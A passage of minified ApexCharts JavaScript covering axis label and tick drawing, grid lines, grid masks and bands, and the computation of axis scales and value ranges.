m(this.ctx),o=s.config.yaxis[0].opposite?s.globals.translateYAxisX[t]:0,n=r.group({class:"apexcharts-yaxis apexcharts-xaxis-inversed",rel:t}),l=r.group({class:"apexcharts-yaxis-texts-g apexcharts-xaxis-inversed-texts-g",transform:"translate("+o+", 0)"});n.add(l);var h=[];if(s.config.yaxis[t].show)for(var c=0;c<this.xaxisLabels.length;c++)h.push(this.xaxisLabels[c]);e=s.globals.gridHeight/h.length,i=-e/2.2;var d=s.globals.yLabelFormatters[0],g=s.config.yaxis[0].labels;if(g.show)for(var u=function(o){var n=void 0===h[o]?"":h[o];n=d(n,{seriesIndex:t,dataPointIndex:o,w:s});var c=a.axesUtils.getYAxisForeColor(g.style.colors,t),u=0;Array.isArray(n)&&(u=n.length/2*parseInt(g.style.fontSize,10));var p=g.offsetX-15,f="end";a.yaxis.opposite&&(f="start"),"left"===s.config.yaxis[0].labels.align?(p=g.offsetX,f="start"):"center"===s.config.yaxis[0].labels.align?(p=g.offsetX,f="middle"):"right"===s.config.yaxis[0].labels.align&&(f="end");var x=r.drawText({x:p,y:i+e+g.offsetY-u,text:n,textAnchor:f,foreColor:Array.isArray(c)?c[o]:c,fontSize:g.style.fontSize,fontFamily:g.style.fontFamily,fontWeight:g.style.fontWeight,isPlainText:!1,cssClass:"apexcharts-yaxis-label "+g.style.cssClass,maxWidth:g.maxWidth});l.add(x),x.on("click",(function(t){if("function"==typeof s.config.chart.events.xAxisLabelClick){var e=Object.assign({},s,{labelIndex:o});s.config.chart.events.xAxisLabelClick(t,a.ctx,e)}}));var b=document.createElementNS(s.globals.SVGNS,"title");if(b.textContent=Array.isArray(n)?n.join(" "):n,x.node.appendChild(b),0!==s.config.yaxis[t].labels.rotate){var v=r.rotateAroundCenter(x.node);x.node.setAttribute("transform","rotate(".concat(s.config.yaxis[t].labels.rotate," 0 ").concat(v.y,")"))}i+=e},p=0;p<=h.length-1;p++)u(p);if(void 0!==s.config.yaxis[0].title.text){var f=r.group({class:"apexcharts-yaxis-title apexcharts-xaxis-title-inversed",transform:"translate("+o+", 0)"}),x=r.drawText({x:s.config.yaxis[0].title.offsetX,y:s.globals.gridHeight/2+s.config.yaxis[0].title.offsetY,text:s.config.yaxis[0].title.text,textAnchor:"middle",foreColor:s.config.yaxis[0].title.style.color,fontSize:s.config.yaxis[0].title.style.fontSize,fontWeight:s.config.yaxis[0].title.style.fontWeight,fontFamily:s.config.yaxis[0].title.style.fontFamily,cssClass:"apexcharts-yaxis-title-text "+s.config.yaxis[0].title.style.cssClass});f.add(x),n.add(f)}var b=0;this.isCategoryBarHorizontal&&s.config.yaxis[0].opposite&&(b=s.globals.gridWidth);var v=s.config.xaxis.axisBorder;if(v.show){var y=r.drawLine(s.globals.padHorizontal+v.offsetX+b,1+v.offsetY,s.globals.padHorizontal+v.offsetX+b,s.globals.gridHeight+v.offsetY,v.color,0);this.elgrid&&this.elgrid.elGridBorders&&s.config.grid.show?this.elgrid.elGridBorders.add(y):n.add(y)}return s.config.yaxis[0].axisTicks.show&&this.axesUtils.drawYAxisTicks(b,h.length,s.config.yaxis[0].axisBorder,s.config.yaxis[0].axisTicks,0,e,n),n}},{key:"drawXaxisTicks",value:function(t,e,i){var a=this.w,s=t;if(!(t<0||t-2>a.globals.gridWidth)){var r=this.offY+a.config.xaxis.axisTicks.offsetY;if(e=e+r+a.config.xaxis.axisTicks.height,"top"===a.config.xaxis.position&&(e=r-a.config.xaxis.axisTicks.height),a.config.xaxis.axisTicks.show){var o=new m(this.ctx).drawLine(t+a.config.xaxis.axisTicks.offsetX,r+a.config.xaxis.offsetY,s+a.config.xaxis.axisTicks.offsetX,e+a.config.xaxis.offsetY,a.config.xaxis.axisTicks.color);i.add(o),o.node.classList.add("apexcharts-xaxis-tick")}}}},{key:"getXAxisTicksPositions",value:function(){var t=this.w,e=[],i=this.xaxisLabels.length,a=t.globals.padHorizontal;if(t.globals.timescaleLabels.length>0)for(var s=0;s<i;s++)a=this.xaxisLabels[s].position,e.push(a);else for(var r=i,o=0;o<r;o++){var n=r;t.globals.isXNumeric&&"bar"!==t.config.chart.type&&(n-=1),a+=t.globals.gridWidth/n,e.push(a)}return e}},{key:"xAxisLabelCorrections",value:function(){var t=this.w,e=new m(this.ctx),i=t.globals.dom.baseEl.querySelector(".apexcharts-xaxis-texts-g"),a=t.globals.dom.baseEl.querySelectorAll(".apexcharts-xaxis-texts-g text:not(.apexcharts-xaxis-group-label)"),s=t.globals.dom.baseEl.querySelectorAll(".apexcharts-yaxis-inversed text"),r=t.globals.dom.baseEl.querySelectorAll(".apexcharts-xaxis-inversed-texts-g text tspan");if(t.globals.rotateXLabels||t.config.xaxis.labels.rotateAlways)for(var o=0;o<a.length;o++){var n=e.rotateAroundCenter(a[o]);n.y=n.y-1,n.x=n.x+1,a[o].setAttribute("transform","rotate(".concat(t.config.xaxis.labels.rotate," ").concat(n.x," ").concat(n.y,")")),a[o].setAttribute("text-anchor","end");i.setAttribute("transform","translate(0, ".concat(-10,")"));var l=a[o].childNodes;t.config.xaxis.labels.trim&&Array.prototype.forEach.call(l,(function(i){e.placeTextWithEllipsis(i,i.textContent,t.globals.xAxisLabelsHeight-("bottom"===t.config.legend.position?20:10))}))}else!function(){for(var i=t.globals.gridWidth/(t.globals.labels.length+1),s=0;s<a.length;s++){var r=a[s].childNodes;t.config.xaxis.labels.trim&&"datetime"!==t.config.xaxis.type&&Array.prototype.forEach.call(r,(function(t){e.placeTextWithEllipsis(t,t.textContent,i)}))}}();if(s.length>0){var h=s[s.length-1].getBBox(),c=s[0].getBBox();h.x<-20&&s[s.length-1].parentNode.removeChild(s[s.length-1]),c.x+c.width>t.globals.gridWidth&&!t.globals.isBarHorizontal&&s[0].parentNode.removeChild(s[0]);for(var d=0;d<r.length;d++)e.placeTextWithEllipsis(r[d],r[d].textContent,t.config.yaxis[0].labels.maxWidth-(t.config.yaxis[0].title.text?2*parseFloat(t.config.yaxis[0].title.style.fontSize):0)-15)}}}]),t}(),j=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w;var i=this.w;this.xaxisLabels=i.globals.labels.slice(),this.axesUtils=new B(e),this.isRangeBar=i.globals.seriesRange.length,i.globals.timescaleLabels.length>0&&(this.xaxisLabels=i.globals.timescaleLabels.slice())}return r(t,[{key:"drawGridArea",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null,e=this.w,i=new m(this.ctx);null===t&&(t=i.group({class:"apexcharts-grid"}));var a=i.drawLine(e.globals.padHorizontal,1,e.globals.padHorizontal,e.globals.gridHeight,"transparent"),s=i.drawLine(e.globals.padHorizontal,e.globals.gridHeight,e.globals.gridWidth,e.globals.gridHeight,"transparent");return t.add(s),t.add(a),t}},{key:"drawGrid",value:function(){var t=null;return this.w.globals.axisCharts&&(t=this.renderGrid(),this.drawGridArea(t.el)),t}},{key:"createGridMask",value:function(){var t=this.w,e=t.globals,i=new m(this.ctx),a=Array.isArray(t.config.stroke.width)?0:t.config.stroke.width;if(Array.isArray(t.config.stroke.width)){var s=0;t.config.stroke.width.forEach((function(t){s=Math.max(s,t)})),a=s}e.dom.elGridRectMask=document.createElementNS(e.SVGNS,"clipPath"),e.dom.elGridRectMask.setAttribute("id","gridRectMask".concat(e.cuid)),e.dom.elGridRectMarkerMask=document.createElementNS(e.SVGNS,"clipPath"),e.dom.elGridRectMarkerMask.setAttribute("id","gridRectMarkerMask".concat(e.cuid)),e.dom.elForecastMask=document.createElementNS(e.SVGNS,"clipPath"),e.dom.elForecastMask.setAttribute("id","forecastMask".concat(e.cuid)),e.dom.elNonForecastMask=document.createElementNS(e.SVGNS,"clipPath"),e.dom.elNonForecastMask.setAttribute("id","nonForecastMask".concat(e.cuid));var r=t.config.chart.type,o=0,n=0;("bar"===r||"rangeBar"===r||"candlestick"===r||"boxPlot"===r||t.globals.comboBarCount>0)&&t.globals.isXNumeric&&!t.globals.isBarHorizontal&&(o=t.config.grid.padding.left,n=t.config.grid.padding.right,e.barPadForNumericAxis>o&&(o=e.barPadForNumericAxis,n=e.barPadForNumericAxis)),e.dom.elGridRect=i.drawRect(-a/2-o-2,-a/2,e.gridWidth+a+n+o+4,e.gridHeight+a,0,"#fff");var l=t.globals.markers.largestSize+1;e.dom.elGridRectMarker=i.drawRect(2*-l,2*-l,e.gridWidth+4*l,e.gridHeight+4*l,0,"#fff"),e.dom.elGridRectMask.appendChild(e.dom.elGridRect.node),e.dom.elGridRectMarkerMask.appendChild(e.dom.elGridRectMarker.node);var h=e.dom.baseEl.querySelector("defs");h.appendChild(e.dom.elGridRectMask),h.appendChild(e.dom.elForecastMask),h.appendChild(e.dom.elNonForecastMask),h.appendChild(e.dom.elGridRectMarkerMask)}},{key:"_drawGridLines",value:function(t){var e=t.i,i=t.x1,a=t.y1,s=t.x2,r=t.y2,o=t.xCount,n=t.parent,l=this.w;if(!(0===e&&l.globals.skipFirstTimelinelabel||e===o-1&&l.globals.skipLastTimelinelabel&&!l.config.xaxis.labels.formatter||"radar"===l.config.chart.type)){l.config.grid.xaxis.lines.show&&this._drawGridLine({i:e,x1:i,y1:a,x2:s,y2:r,xCount:o,parent:n});var h=0;if(l.globals.hasXaxisGroups&&"between"===l.config.xaxis.tickPlacement){var c=l.globals.groups;if(c){for(var d=0,g=0;d<e&&g<c.length;g++)d+=c[g].cols;d===e&&(h=.6*l.globals.xAxisLabelsHeight)}}new V(this.ctx).drawXaxisTicks(i,h,l.globals.dom.elGraphical)}}},{key:"_drawGridLine",value:function(t){var e=t.i,i=t.x1,a=t.y1,s=t.x2,r=t.y2,o=t.xCount,n=t.parent,l=this.w,h=!1,c=n.node.classList.contains("apexcharts-gridlines-horizontal"),d=l.config.grid.strokeDashArray,g=l.globals.barPadForNumericAxis;(0===a&&0===r||0===i&&0===s)&&(h=!0),a===l.globals.gridHeight&&r===l.globals.gridHeight&&(h=!0),!l.globals.isBarHorizontal||0!==e&&e!==o-1||(h=!0);var u=new m(this).drawLine(i-(c?g:0),a,s+(c?g:0),r,l.config.grid.borderColor,d);u.node.classList.add("apexcharts-gridline"),h&&l.config.grid.show?this.elGridBorders.add(u):n.add(u)}},{key:"_drawGridBandRect",value:function(t){var e=t.c,i=t.x1,a=t.y1,s=t.x2,r=t.y2,o=t.type,n=this.w,l=new m(this.ctx),h=n.globals.barPadForNumericAxis;if("column"!==o||"datetime"!==n.config.xaxis.type){var c=n.config.grid[o].colors[e],d=l.drawRect(i-("row"===o?h:0),a,s+("row"===o?2*h:0),r,0,c,n.config.grid[o].opacity);this.elg.add(d),d.attr("clip-path","url(#gridRectMask".concat(n.globals.cuid,")")),d.node.classList.add("apexcharts-grid-".concat(o))}}},{key:"_drawXYLines",value:function(t){var e=this,i=t.xCount,a=t.tickAmount,s=this.w;if(s.config.grid.xaxis.lines.show||s.config.xaxis.axisTicks.show){var r,o=s.globals.padHorizontal,n=s.globals.gridHeight;s.globals.timescaleLabels.length?function(t){for(var a=t.xC,s=t.x1,r=t.y1,o=t.x2,n=t.y2,l=0;l<a;l++)s=e.xaxisLabels[l].position,o=e.xaxisLabels[l].position,e._drawGridLines({i:l,x1:s,y1:r,x2:o,y2:n,xCount:i,parent:e.elgridLinesV})}({xC:i,x1:o,y1:0,x2:r,y2:n}):(s.globals.isXNumeric&&(i=s.globals.xAxisScale.result.length),function(t){for(var a=t.xC,r=t.x1,o=t.y1,n=t.x2,l=t.y2,h=0;h<a+(s.globals.isXNumeric?0:1);h++)0===h&&1===a&&1===s.globals.dataPoints&&(n=r=s.globals.gridWidth/2),e._drawGridLines({i:h,x1:r,y1:o,x2:n,y2:l,xCount:i,parent:e.elgridLinesV}),n=r+=s.globals.gridWidth/(s.globals.isXNumeric?a-1:a)}({xC:i,x1:o,y1:0,x2:r,y2:n}))}if(s.config.grid.yaxis.lines.show){var l=0,h=0,c=s.globals.gridWidth,d=a+1;this.isRangeBar&&(d=s.globals.labels.length);for(var g=0;g<d+(this.isRangeBar?1:0);g++)this._drawGridLine({i:g,xCount:d+(this.isRangeBar?1:0),x1:0,y1:l,x2:c,y2:h,parent:this.elgridLinesH}),h=l+=s.globals.gridHeight/(this.isRangeBar?d:a)}}},{key:"_drawInvertedXYLines",value:function(t){var e=t.xCount,i=this.w;if(i.config.grid.xaxis.lines.show||i.config.xaxis.axisTicks.show)for(var a,s=i.globals.padHorizontal,r=i.globals.gridHeight,o=0;o<e+1;o++){i.config.grid.xaxis.lines.show&&this._drawGridLine({i:o,xCount:e+1,x1:s,y1:0,x2:a,y2:r,parent:this.elgridLinesV}),new V(this.ctx).drawXaxisTicks(s,0,i.globals.dom.elGraphical),a=s=s+i.globals.gridWidth/e+.3}if(i.config.grid.yaxis.lines.show)for(var n=0,l=0,h=i.globals.gridWidth,c=0;c<i.globals.dataPoints+1;c++)this._drawGridLine({i:c,xCount:i.globals.dataPoints+1,x1:0,y1:n,x2:h,y2:l,parent:this.elgridLinesH}),l=n+=i.globals.gridHeight/i.globals.dataPoints}},{key:"renderGrid",value:function(){var t=this.w,e=new m(this.ctx);this.elg=e.group({class:"apexcharts-grid"}),this.elgridLinesH=e.group({class:"apexcharts-gridlines-horizontal"}),this.elgridLinesV=e.group({class:"apexcharts-gridlines-vertical"}),this.elGridBorders=e.group({class:"apexcharts-grid-borders"}),this.elg.add(this.elgridLinesH),this.elg.add(this.elgridLinesV),t.config.grid.show||(this.elgridLinesV.hide(),this.elgridLinesH.hide(),this.elGridBorders.hide());for(var i,a=t.globals.yAxisScale.length?t.globals.yAxisScale[0].result.length-1:5,s=0;s<t.globals.series.length&&(void 0!==t.globals.yAxisScale[s]&&(a=t.globals.yAxisScale[s].result.length-1),!(a>2));s++);return!t.globals.isBarHorizontal||this.isRangeBar?(i=this.xaxisLabels.length,this.isRangeBar&&t.globals.isBarHorizontal&&(i--,a=t.globals.labels.length,t.config.xaxis.tickAmount&&t.config.xaxis.labels.formatter&&(i=t.config.xaxis.tickAmount)),this._drawXYLines({xCount:i,tickAmount:a})):(i=a,a=t.globals.xTickAmount,this._drawInvertedXYLines({xCount:i,tickAmount:a})),this.drawGridBands(i,a),{el:this.elg,elGridBorders:this.elGridBorders,xAxisTickWidth:t.globals.gridWidth/i}}},{key:"drawGridBands",value:function(t,e){var i=this.w;if(void 0!==i.config.grid.row.colors&&i.config.grid.row.colors.length>0)for(var a=0,s=i.globals.gridHeight/e,r=i.globals.gridWidth,o=0,n=0;o<e;o++,n++)n>=i.config.grid.row.colors.length&&(n=0),this._drawGridBandRect({c:n,x1:0,y1:a,x2:r,y2:s,type:"row"}),a+=i.globals.gridHeight/e;if(void 0!==i.config.grid.column.colors&&i.config.grid.column.colors.length>0)for(var l=i.globals.isBarHorizontal||"category"!==i.config.xaxis.type&&!i.config.xaxis.convertedCatToNumeric?t:t-1,h=i.globals.padHorizontal,c=i.globals.padHorizontal+i.globals.gridWidth/l,d=i.globals.gridHeight,g=0,u=0;g<t;g++,u++)u>=i.config.grid.column.colors.length&&(u=0),this._drawGridBandRect({c:u,x1:h,y1:0,x2:c,y2:d,type:"column"}),h+=i.globals.gridWidth/l}}]),t}(),_=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w}return r(t,[{key:"niceScale",value:function(t,e){var i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:10,a=arguments.length>3&&void 0!==arguments[3]?arguments[3]:0,s=arguments.length>4?arguments[4]:void 0,r=this.w,o=Math.abs(e-t);if("dataPoints"===(i=this._adjustTicksForSmallRange(i,a,o))&&(i=r.globals.dataPoints-1),t===Number.MIN_VALUE&&0===e||!x.isNumber(t)&&!x.isNumber(e)||t===Number.MIN_VALUE&&e===-Number.MAX_VALUE)return t=0,e=i,this.linearScale(t,e,i);t>e?(console.warn("axis.min cannot be greater than axis.max"),e=t+.1):t===e&&(t=0===t?0:t-.5,e=0===e?2:e+.5);var n=[];o<1&&s&&("candlestick"===r.config.chart.type||"candlestick"===r.config.series[a].type||"boxPlot"===r.config.chart.type||"boxPlot"===r.config.series[a].type||r.globals.isRangeData)&&(e*=1.01);var l=i+1;l<2?l=2:l>2&&(l-=2);var h=o/l,c=Math.floor(x.log10(h)),d=Math.pow(10,c),g=Math.round(h/d);g<1&&(g=1);var u=g*d,p=u*Math.floor(t/u),f=u*Math.ceil(e/u),b=p;if(s&&o>2){for(;n.push(b),!((b+=u)>f););return{result:n,niceMin:n[0],niceMax:n[n.length-1]}}var v=t;(n=[]).push(v);for(var m=Math.abs(e-t)/i,y=0;y<=i;y++)v+=m,n.push(v);return n[n.length-2]>=e&&n.pop(),{result:n,niceMin:n[0],niceMax:n[n.length-1]}}},{key:"linearScale",value:function(t,e){var i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:10,a=arguments.length>3?arguments[3]:void 0,s=Math.abs(e-t);"dataPoints"===(i=this._adjustTicksForSmallRange(i,a,s))&&(i=this.w.globals.dataPoints-1);var r=s/i;i===Number.MAX_VALUE&&(i=10,r=1);for(var o=[],n=t;i>=0;)o.push(n),n+=r,i-=1;return{result:o,niceMin:o[0],niceMax:o[o.length-1]}}},{key:"logarithmicScaleNice",value:function(t,e,i){e<=0&&(e=Math.max(t,i)),t<=0&&(t=Math.min(e,i));for(var a=[],s=Math.ceil(Math.log(e)/Math.log(i)+1),r=Math.floor(Math.log(t)/Math.log(i));r<s;r++)a.push(Math.pow(i,r));return{result:a,niceMin:a[0],niceMax:a[a.length-1]}}},{key:"logarithmicScale",value:function(t,e,i){e<=0&&(e=Math.max(t,i)),t<=0&&(t=Math.min(e,i));for(var a=[],s=Math.log(e)/Math.log(i),r=Math.log(t)/Math.log(i),o=s-r,n=Math.round(o),l=o/n,h=0,c=r;h<n;h++,c+=l)a.push(Math.pow(i,c));return a.push(Math.pow(i,s)),{result:a,niceMin:t,niceMax:e}}},{key:"_adjustTicksForSmallRange",value:function(t,e,i){var a=t;if(void 0!==e&&this.w.config.yaxis[e].labels.formatter&&void 0===this.w.config.yaxis[e].tickAmount){var s=Number(this.w.config.yaxis[e].labels.formatter(1));x.isNumber(s)&&0===this.w.globals.yValueDecimal&&(a=Math.ceil(i))}return a<t?a:t}},{key:"setYScaleForIndex",value:function(t,e,i){var a=this.w.globals,s=this.w.config,r=a.isBarHorizontal?s.xaxis:s.yaxis[t];void 0===a.yAxisScale[t]&&(a.yAxisScale[t]=[]);var o=Math.abs(i-e);if(r.logarithmic&&o<=5&&(a.invalidLogScale=!0),r.logarithmic&&o>5)a.allSeriesCollapsed=!1,a.yAxisScale[t]=this.logarithmicScale(e,i,r.logBase),a.yAxisScale[t]=r.forceNiceScale?this.logarithmicScaleNice(e,i,r.logBase):this.logarithmicScale(e,i,r.logBase);else if(i!==-Number.MAX_VALUE&&x.isNumber(i))if(a.allSeriesCollapsed=!1,void 0===r.min&&void 0===r.max||r.forceNiceScale){var n=void 0===s.yaxis[t].max&&void 0===s.yaxis[t].min||s.yaxis[t].forceNiceScale;a.yAxisScale[t]=this.niceScale(e,i,r.tickAmount?r.tickAmount:o<5&&o>1?o+1:5,t,n)}else a.yAxisScale[t]=this.linearScale(e,i,r.tickAmount,t);else a.yAxisScale[t]=this.linearScale(0,5,5)}},{key:"setXScale",value:function(t,e){var i=this.w,a=i.globals,s=i.config.xaxis,r=Math.abs(e-t);return e!==-Number.MAX_VALUE&&x.isNumber(e)?a.xAxisScale=this.linearScale(t,e,s.tickAmount?s.tickAmount:r<5&&r>1?r+1:5,0):a.xAxisScale=this.linearScale(0,5,5),a.xAxisScale}},{key:"setMultipleYScales",value:function(){var t=this,e=this.w.globals,i=this.w.config,a=e.minYArr.concat([]),s=e.maxYArr.concat([]),r=[];i.yaxis.forEach((function(e,o){var n=o;i.series.forEach((function(t,i){t.name===e.seriesName&&(n=i,o!==i?r.push({index:i,similarIndex:o,alreadyExists:!0}):r.push({index:i}))}));var l=a[n],h=s[n];t.setYScaleForIndex(o,l,h)})),this.sameScaleInMultipleAxes(a,s,r)}},{key:"sameScaleInMultipleAxes",value:function(t,e,i){var a=this,s=this.w.config,r=this.w.globals,o=[];i.forEach((function(t){t.alreadyExists&&(void 0===o[t.index]&&(o[t.index]=[]),o[t.index].push(t.index),o[t.index].push(t.similarIndex))})),r.yAxisSameScaleIndices=o,o.forEach((function(t,e){o.forEach((function(i,a){var s,r;e!==a&&(s=t,r=i,s.filter((function(t){return-1!==r.indexOf(t)}))).length>0&&(o[e]=o[e].concat(o[a]))}))}));var n=o.map((function(t){return t.filter((function(e,i){return t.indexOf(e)===i}))})).map((function(t){return t.sort()}));o=o.filter((function(t){return!!t}));var l=n.slice(),h=l.map((function(t){return JSON.stringify(t)}));l=l.filter((function(t,e){return h.indexOf(JSON.stringify(t))===e}));var c=[],d=[];t.forEach((function(t,i){l.forEach((function(a,s){a.indexOf(i)>-1&&(void 0===c[s]&&(c[s]=[],d[s]=[]),c[s].push({key:i,value:t}),d[s].push({key:i,value:e[i]}))}))}));var g=Array.apply(null,Array(l.length)).map(Number.prototype.valueOf,Number.MIN_VALUE),u=Array.apply(null,Array(l.length)).map(Number.prototype.valueOf,-Number.MAX_VALUE);c.forEach((function(t,e){t.forEach((function(t,i){g[e]=Math.min(t.value,g[e])}))})),d.forEach((function(t,e){t.forEach((function(t,i){u[e]=Math.max(t.value,u[e])}))})),t.forEach((function(t,e){d.forEach((function(t,i){var o=g[i],n=u[i];s.chart.stacked&&(n=0,t.forEach((function(t,e){t.value!==-Number.MAX_VALUE&&(n+=t.value),o!==Number.MIN_VALUE&&(o+=c[i][e].value)}))),t.forEach((function(i,l){t[l].key===e&&(void 0!==s.yaxis[e].min&&(o="function"==typeof s.yaxis[e].min?s.yaxis[e].min(r.minY):s.yaxis[e].min),void 0!==s.yaxis[e].max&&(n="function"==typeof s.yaxis[e].max?s.yaxis[e].max(r.maxY):s.yaxis[e].max),a.setYScaleForIndex(e,o,n))}))}))}))}},{key:"autoScaleY",value:function(t,e,i){t||(t=this);var a=t.w;if(a.globals.isMultipleYAxis||a.globals.collapsedSeries.length)return console.warn("autoScaleYaxis is not supported in a multi-yaxis chart."),e;var s=a.globals.seriesX[0],r=a.config.chart.stacked;return e.forEach((function(t,o){for(var n=0,l=0;l<s.length;l++)if(s[l]>=i.xaxis.min){n=l;break}var h,c,d=a.globals.minYArr[o],g=a.globals.maxYArr[o],u=a.globals.stackedSeriesTotals;a.globals.series.forEach((function(o,l){var p=o[n];r?(p=u[n],h=c=p,u.forEach((function(t,e){s[e]<=i.xaxis.max&&s[e]>=i.xaxis.min&&(t>c&&null!==t&&(c=t),o[e]<h&&null!==o[e]&&(h=o[e]))}))):(h=c=p,o.forEach((function(t,e){if(s[e]<=i.xaxis.max&&s[e]>=i.xaxis.min){var r=t,o=t;a.globals.series.forEach((function(i,a){null!==t&&(r=Math.min(i[e],r),o=Math.max(i[e],o))})),o>c&&null!==o&&(c=o),r<h&&null!==r&&(h=r)}}))),void 0===h&&void 0===c&&(h=d,c=g),c*=c<0?.9:1.1,0===(h*=h<0?1.1:.9)&&0===c&&(h=-1,c=1),c<0&&c<g&&(c=g),h<0&&h>d&&(h=d),e.length>1?(e[l].min=void 0===t.min?h:t.min,e[l].max=void 0===t.max?c:t.max):(e[0].min=void 0===t.min?h:t.min,e[0].max=void 0===t.max?c:t.max)}))})),e}}]),t}(),U=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w,this.scales=new _(e)}return r(t,[{key:"init",value:function(){this.setYRange(),this.setXRange(),this.setZRange()}},{key:"getMinYMaxY",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:Number.MAX_VALUE,i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:-Number.MAX_VALUE,a=arguments.length>3&&void 0!==arguments[3]?arguments[3]:null,s=this.w.config,r=this.w.globals,o=-Number.MAX_VALUE,n=Number.MIN_VALUE;null===a&&(a=t+1);var l=r.series,h=l,c=l;"candlestick"===s.chart.type?(h=r.seriesCandleL,c=r.seriesCandleH):"boxPlot"===s.chart.type?(h=r.seriesCandleO,c=r.seriesCandleC):r.isRangeData&&(h=r.seriesRangeStart,c=r.seriesRangeEnd);for(var d=t;d<a;d++){r.dataPoints=Math.max(r.dataPoints,l[d].length),r.categoryLabels.length&&(r.dataPoints=r.categoryLabels.filter((function(t){return void 0!==t})).length),r.labels.length&&(r.dataPoints=Math.max(r.dataPoints,r.labels.length));for(var g=0;g<r.series[d].length;g++){var u=l[d][g];null!==u&&x.isNumber(u)?(void 0!==c[d][g]&&(o=Math.max(o,c[d][g]),e=Math.min(e,c[d][g])),void 0!==h[d][g]&&(e=Math.min(e,h[d][g]),i=Math.max(i,h[d][g])),"candlestick"!==this.w.config.chart.type&&"boxPlot"!==this.w.config.chart.type&&"rangeArea"===this.w.config.chart.type&&"rangeBar"===this.w.config.chart.type||("candlestick"!==this.w.config.chart.type&&"boxPlot"!==this.w.config.chart.type||void 0!==r.seriesCandleC[d][g]&&(o=Math.max(o,r.seriesCandleO[d][g]),o=Math.max(o,r.seriesCandleH[d][g]),o=Math.max(o,r.seriesCandleL[d][g]),o=Math.max(o,r.seriesCandleC[d][g]),"boxPlot"===this.w.config.chart.type&&(o=Math.max(o,r.seriesCandleM[d][g]))),!s.series[d].type||"candlestick"===s.series[d].type&&"boxPlot"===s.series[d].type&&"rangeArea"===s.series[d].type&&"rangeBar"===s.series[d].type||(o=Math.max(o,r.series[d][g]),e=Math.min(e,r.series[d][g])),i=o),r.seriesGoals[d]&&r.seriesGoals[d][g]&&Array.isArray(r.seriesGoals[d][g])&&r.seriesGoals[d][g].forEach((function(t){n!==Number.MIN_VALUE&&(n=Math.min(n,t.value),e=n),o=Math.max(o,t.value),i=o})),x.isFloat(u)&&(u=x.noExponents(u),r.yValueDecimal=Math.max(r.yValueDecimal,u.toString().split(".")[1].length)),n>h[d][g]&&h[d][g]<0&&(n=h[d][g])):r.hasNullValues=!0}}return"rangeBar"===s.chart.type&&r.seriesRangeStart.length&&r.isBarHorizontal&&(n=e),"bar"===s.chart.type&&(n<0&&o<0&&(o=0),n===Number.MIN_VALUE&&(n=0)),{minY:n,maxY:o,lowestY:e,highestY:i}}},{key:"setYRange",value:function(){var t=this.w.globals,e=this.w.config;t.maxY=-Number.MAX_VALUE,t.minY=Number.MIN_VALUE;var i=Number.MAX_VALUE;if(t.isMultipleYAxis)for(var a=0;a<t.series.length;a++){var s=this.getMinYMaxY(a,i,null,a+1);t.minYArr.push(s.minY),t.maxYArr.push(s.maxY),i=s.lowestY}var r=this.getMinYMaxY(0,i,null,t.series.length);if(t.minY=r.minY,t.maxY=r.maxY,i=r.lowestY,e.chart.stacked&&this._setStackedMinMax(),("line"===e.chart.type||"area"===e.chart.type||"candlestick"===e.chart.type||"boxPlot"===e.chart.type||"rangeBar"===e.chart.type&&!t.isBarHorizontal)&&t.minY===Number.MIN_VALUE&&i!==-Number.MAX_VALUE&&i!==t.maxY){var o=t.maxY-i;(i>=0&&i<=10||void 0!==e.yaxis[0].min||void 0!==e.yaxis[0].max)&&(o=0),t.minY=i-5*o/100,i>0&&t.minY<0&&(t.minY=0),t.maxY=t.maxY+5*o/100}if(e.yaxis.forEach((function(e,i){void 0!==e.max&&("number"==typeof e.max?t.maxYArr[i]=e.max:"function"==typeof e.max&&(t.maxYArr[i]=e.max(t.isMultipleYAxis?t.maxYArr[i]:t.maxY)),t.maxY=t.maxYArr[i]),void 0!==e.min&&("number"==typeof e.min?t.minYArr[i]=e.min:"function"==typeof e.min&&(t.minYArr[i]=e.min(t.isMultipleYAxis?t.minYArr[i]===Number.MIN_VALUE?0:t.minYArr[i]:t.minY)),t.minY=t.minYArr[i])})),t.isBarHorizontal){["min","max"].forEach((function(i){void 0!==e.xaxis[i]&&"number"==typeof e.xaxis[i]&&("min"===i?t.minY=e.xaxis[i]:t.maxY=e.xaxis[i])}))}return t.isMultipleYAxis?(this.scales.setMultipleYScales(),t.minY=i,t.yAxisScale.forEach((function(e,i){t.minYArr[i]=e.niceMin,t.maxYArr[i]=e.niceMax}))):(this.scales.setYScaleForIndex(0,t.minY,t.maxY),t.minY=t.yAxisScale[0].niceMin,t.maxY=t.yAxisScale[0].niceMax,t.minYArr[0]=t.yAxisScale[0].niceMin,t.maxYArr[0]=t.yAxisScale[0].niceMax),{minY:t.minY,maxY:t.maxY,minYArr:t.minYArr,maxYArr:t.maxYArr,yAxisScale:t.yAxisScale}}},{key:"setXRange",value:function(){var t=this.w.globals,e=this.w.config,i="numeric"===e.xaxis.type||"datetime"===e.xaxis.type||"category"===e.xaxis.type&&!t.noLabelsProvided||t.noLabelsProvided||t.isXNumeric;if(t.isXNumeric&&function(){for(var e=0;e<t.series.length;e++)if(t.labels[e])for(var i=0;i<t.labels[e].length;i++)null!==t.labels[e][i]&&x.isNumber(t.labels[e][i])&&(t.maxX=Math.max(t.maxX,t.labels[e][i]),t.initialMaxX=Math.max(t.maxX,t.labels[e][i]),t.minX=Math.min(t.minX,t.labels[e][i]),t.initialMinX=Math.min(t.minX,t.labels[e][i]))}(),t.noLabelsProvided&&0===e.xaxis.categories.length&&(t.maxX=t.labels[t.labels.length-1],t.initialMaxX=t.labels[t.labels.length-1],t.minX=1,t.initialMinX=1),t.isXNumeric||t.noLabelsProvided||t.dataFormatXNumeric){var a;if(void 0===e.xaxis.tickAmount?(a=Math.round(t.svgWidth/150),"numeric"===e.xaxis.type&&t.dataPoints<30&&(a=t.dataPoints-1),a>t.dataPoints&&0!==t.dataPoints&&(a=t.dataPoints-1)):"dataPoints"===e.xaxis.tickAmount?(t.series.length>1&&(a=t.series[t.maxValsInArrayIndex].length-1),t.isXNumeric&&(a=t.maxX-t.minX-1)):a=e.xaxis.tickAmount,t.xTickAmount=a,void 0!==e.xaxis.max&&"number"==typeof 